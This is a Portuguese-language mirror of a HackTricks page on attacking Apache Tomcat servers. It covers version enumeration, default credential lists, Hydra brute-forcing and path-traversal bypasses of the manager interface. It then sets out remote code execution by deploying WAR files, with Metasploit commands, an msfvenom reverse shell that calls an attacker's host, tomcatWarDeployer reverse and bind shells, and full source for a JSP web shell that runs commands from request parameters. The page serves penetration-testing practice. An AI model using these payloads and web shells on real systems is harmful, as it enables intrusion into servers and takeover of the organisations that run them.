mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-19 01:24:50 +00:00
263 lines
11 KiB
Markdown
263 lines
11 KiB
Markdown
|
# Tomcat
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Support HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|
||
|
|
||
|
## Descoberta
|
||
|
|
||
|
* Geralmente roda na **porta 8080**
|
||
|
* **Erro comum do Tomcat:**
|
||
|
|
||
|
<figure><img src="../../.gitbook/assets/image (150).png" alt=""><figcaption></figcaption></figure>
|
||
|
|
||
|
## Enumeração
|
||
|
|
||
|
### **Identificação de Versão**
|
||
|
|
||
|
Para encontrar a versão do Apache Tomcat, um comando simples pode ser executado:
|
||
|
```bash
|
||
|
curl -s http://tomcat-site.local:8080/docs/ | grep Tomcat
|
||
|
```
|
||
|
Isso irá procurar o termo "Tomcat" na página de índice da documentação, revelando a versão na tag de título da resposta HTML.
|
||
|
|
||
|
### **Localização dos Arquivos do Gerente**
|
||
|
|
||
|
Identificar as localizações exatas dos diretórios **`/manager`** e **`/host-manager`** é crucial, pois seus nomes podem ser alterados. Uma busca por força bruta é recomendada para localizar essas páginas.
|
||
|
|
||
|
### **Enumeração de Nomes de Usuário**
|
||
|
|
||
|
Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuário através de:
|
||
|
```bash
|
||
|
msf> use auxiliary/scanner/http/tomcat_enum
|
||
|
```
|
||
|
### **Credenciais Padrão**
|
||
|
|
||
|
O diretório **`/manager/html`** é particularmente sensível, pois permite o upload e a implantação de arquivos WAR, o que pode levar à execução de código. Este diretório é protegido por autenticação HTTP básica, com credenciais comuns sendo:
|
||
|
|
||
|
* admin:admin
|
||
|
* tomcat:tomcat
|
||
|
* admin:
|
||
|
* admin:s3cr3t
|
||
|
* tomcat:s3cr3t
|
||
|
* admin:tomcat
|
||
|
|
||
|
Essas credenciais podem ser testadas usando:
|
||
|
```bash
|
||
|
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||
|
```
|
||
|
Outro diretório notável é **`/manager/status`**, que exibe a versão do Tomcat e do SO, ajudando na identificação de vulnerabilidades.
|
||
|
|
||
|
### **Ataque de Força Bruta**
|
||
|
|
||
|
Para tentar um ataque de força bruta no diretório de gerenciamento, pode-se usar:
|
||
|
```bash
|
||
|
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||
|
```
|
||
|
Along with setting various parameters in Metasploit to target a specific host.
|
||
|
|
||
|
## Vulnerabilidades Comuns
|
||
|
|
||
|
### **Divulgação de Backtrace de Senha**
|
||
|
|
||
|
Acessar `/auth.jsp` pode revelar a senha em um backtrace sob circunstâncias favoráveis.
|
||
|
|
||
|
### **Codificação de URL Dupla**
|
||
|
|
||
|
A vulnerabilidade CVE-2007-1860 no `mod_jk` permite a codificação de URL dupla para travessia de caminho, possibilitando acesso não autorizado à interface de gerenciamento através de uma URL especialmente elaborada.
|
||
|
|
||
|
Para acessar a web de gerenciamento do Tomcat, vá para: `pathTomcat/%252E%252E/manager/html`
|
||
|
|
||
|
### /examples
|
||
|
|
||
|
As versões do Apache Tomcat de 4.x a 7.x incluem scripts de exemplo que são suscetíveis a divulgação de informações e ataques de cross-site scripting (XSS). Esses scripts, listados de forma abrangente, devem ser verificados quanto a acesso não autorizado e potencial exploração. Encontre [mais informações aqui](https://www.rapid7.com/db/vulnerabilities/apache-tomcat-example-leaks/)
|
||
|
|
||
|
* /examples/jsp/num/numguess.jsp
|
||
|
* /examples/jsp/dates/date.jsp
|
||
|
* /examples/jsp/snp/snoop.jsp
|
||
|
* /examples/jsp/error/error.html
|
||
|
* /examples/jsp/sessions/carts.html
|
||
|
* /examples/jsp/checkbox/check.html
|
||
|
* /examples/jsp/colors/colors.html
|
||
|
* /examples/jsp/cal/login.html
|
||
|
* /examples/jsp/include/include.jsp
|
||
|
* /examples/jsp/forward/forward.jsp
|
||
|
* /examples/jsp/plugin/plugin.jsp
|
||
|
* /examples/jsp/jsptoserv/jsptoservlet.jsp
|
||
|
* /examples/jsp/simpletag/foo.jsp
|
||
|
* /examples/jsp/mail/sendmail.jsp
|
||
|
* /examples/servlet/HelloWorldExample
|
||
|
* /examples/servlet/RequestInfoExample
|
||
|
* /examples/servlet/RequestHeaderExample
|
||
|
* /examples/servlet/RequestParamExample
|
||
|
* /examples/servlet/CookieExample
|
||
|
* /examples/servlet/JndiServlet
|
||
|
* /examples/servlet/SessionExample
|
||
|
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||
|
|
||
|
### **Exploit de Travessia de Caminho**
|
||
|
|
||
|
Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), você pode ganhar acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/`
|
||
|
|
||
|
Assim, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulnerable.com/lalala/..;/manager/html`
|
||
|
|
||
|
**Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulnerable.com/;param=value/manager/html`
|
||
|
|
||
|
## RCE
|
||
|
|
||
|
Finalmente, se você tiver acesso ao Gerenciador de Aplicações Web do Tomcat, você pode **fazer upload e implantar um arquivo .war (executar código)**.
|
||
|
|
||
|
### Limitações
|
||
|
|
||
|
Você só poderá implantar um WAR se tiver **privilégios suficientes** (papéis: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_, geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre versões) (veja a seção [POST](tomcat.md#post)).
|
||
|
```bash
|
||
|
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||
|
|
||
|
# deploy under "path" context path
|
||
|
curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/manager/text/deploy?path=/monshell"
|
||
|
|
||
|
# undeploy
|
||
|
curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell"
|
||
|
```
|
||
|
### Metasploit
|
||
|
```bash
|
||
|
use exploit/multi/http/tomcat_mgr_upload
|
||
|
msf exploit(multi/http/tomcat_mgr_upload) > set rhost <IP>
|
||
|
msf exploit(multi/http/tomcat_mgr_upload) > set rport <port>
|
||
|
msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
||
|
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||
|
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||
|
```
|
||
|
### MSFVenom Reverse Shell
|
||
|
|
||
|
1. Crie o war para implantar:
|
||
|
```bash
|
||
|
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<LHOST_IP> LPORT=<LPORT> -f war -o revshell.war
|
||
|
```
|
||
|
2. Faça o upload do arquivo `revshell.war` e acesse-o (`/revshell/`):
|
||
|
|
||
|
### Shell bind e reverso com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer)
|
||
|
|
||
|
Em alguns cenários isso não funciona (por exemplo, versões antigas do sun)
|
||
|
|
||
|
#### Baixar
|
||
|
```bash
|
||
|
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||
|
```
|
||
|
#### Shell reversa
|
||
|
```bash
|
||
|
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||
|
```
|
||
|
#### Shell de ligação
|
||
|
```bash
|
||
|
./tomcatWarDeployer.py -U <username> -P <password> -p <bind_port> <victim_IP>:<victim_PORT>/manager/html/
|
||
|
```
|
||
|
### Usando [Culsterd](https://github.com/hatRiot/clusterd)
|
||
|
```bash
|
||
|
clusterd.py -i 192.168.1.105 -a tomcat -v 5.5 --gen-payload 192.168.1.6:4444 --deploy shell.war --invoke --rand-payload -o windows
|
||
|
```
|
||
|
### Método manual - Web shell
|
||
|
|
||
|
Crie **index.jsp** com este [conteúdo](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp):
|
||
|
```java
|
||
|
<FORM METHOD=GET ACTION='index.jsp'>
|
||
|
<INPUT name='cmd' type=text>
|
||
|
<INPUT type=submit value='Run'>
|
||
|
</FORM>
|
||
|
<%@ page import="java.io.*" %>
|
||
|
<%
|
||
|
String cmd = request.getParameter("cmd");
|
||
|
String output = "";
|
||
|
if(cmd != null) {
|
||
|
String s = null;
|
||
|
try {
|
||
|
Process p = Runtime.getRuntime().exec(cmd,null,null);
|
||
|
BufferedReader sI = new BufferedReader(new
|
||
|
InputStreamReader(p.getInputStream()));
|
||
|
while((s = sI.readLine()) != null) { output += s+"</br>"; }
|
||
|
} catch(IOException e) { e.printStackTrace(); }
|
||
|
}
|
||
|
%>
|
||
|
<pre><%=output %></pre>
|
||
|
```
|
||
|
|
||
|
```bash
|
||
|
mkdir webshell
|
||
|
cp index.jsp webshell
|
||
|
cd webshell
|
||
|
jar -cvf ../webshell.war *
|
||
|
webshell.war is created
|
||
|
# Upload it
|
||
|
```
|
||
|
Você também pode instalar isso (permite upload, download e execução de comandos): [http://vonloesch.de/filebrowser.html](http://vonloesch.de/filebrowser.html)
|
||
|
|
||
|
### Método Manual 2
|
||
|
|
||
|
Obtenha um shell web JSP, como [este](https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp) e crie um arquivo WAR:
|
||
|
```bash
|
||
|
wget https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp
|
||
|
zip -r backup.war cmd.jsp
|
||
|
# When this file is uploaded to the manager GUI, the /backup application will be added to the table.
|
||
|
# Go to: http://tomcat-site.local:8180/backup/cmd.jsp
|
||
|
```
|
||
|
## POST
|
||
|
|
||
|
O nome do arquivo de credenciais do Tomcat é `tomcat-users.xml` e este arquivo indica o papel do usuário dentro do tomcat.
|
||
|
```bash
|
||
|
find / -name tomcat-users.xml 2>/dev/null
|
||
|
```
|
||
|
Exemplo:
|
||
|
```xml
|
||
|
[...]
|
||
|
<!--
|
||
|
By default, no user is included in the "manager-gui" role required
|
||
|
to operate the "/manager/html" web application. If you wish to use this app,
|
||
|
you must define such a user - the username and password are arbitrary.
|
||
|
|
||
|
Built-in Tomcat manager roles:
|
||
|
- manager-gui - allows access to the HTML GUI and the status pages
|
||
|
- manager-script - allows access to the HTTP API and the status pages
|
||
|
- manager-jmx - allows access to the JMX proxy and the status pages
|
||
|
- manager-status - allows access to the status pages only
|
||
|
-->
|
||
|
[...]
|
||
|
<role rolename="manager-gui" />
|
||
|
<user username="tomcat" password="tomcat" roles="manager-gui" />
|
||
|
<role rolename="admin-gui" />
|
||
|
<user username="admin" password="admin" roles="manager-gui,admin-gui" />
|
||
|
```
|
||
|
## Outras ferramentas de varredura do tomcat
|
||
|
|
||
|
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||
|
|
||
|
## Referências
|
||
|
|
||
|
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||
|
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||
|
|
||
|
{% hint style="success" %}
|
||
|
Aprenda e pratique Hacking AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
|
Aprenda e pratique Hacking GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
|
||
|
<details>
|
||
|
|
||
|
<summary>Suporte ao HackTricks</summary>
|
||
|
|
||
|
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
|
||
|
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||
|
* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||
|
|
||
|
</details>
|
||
|
{% endhint %}
|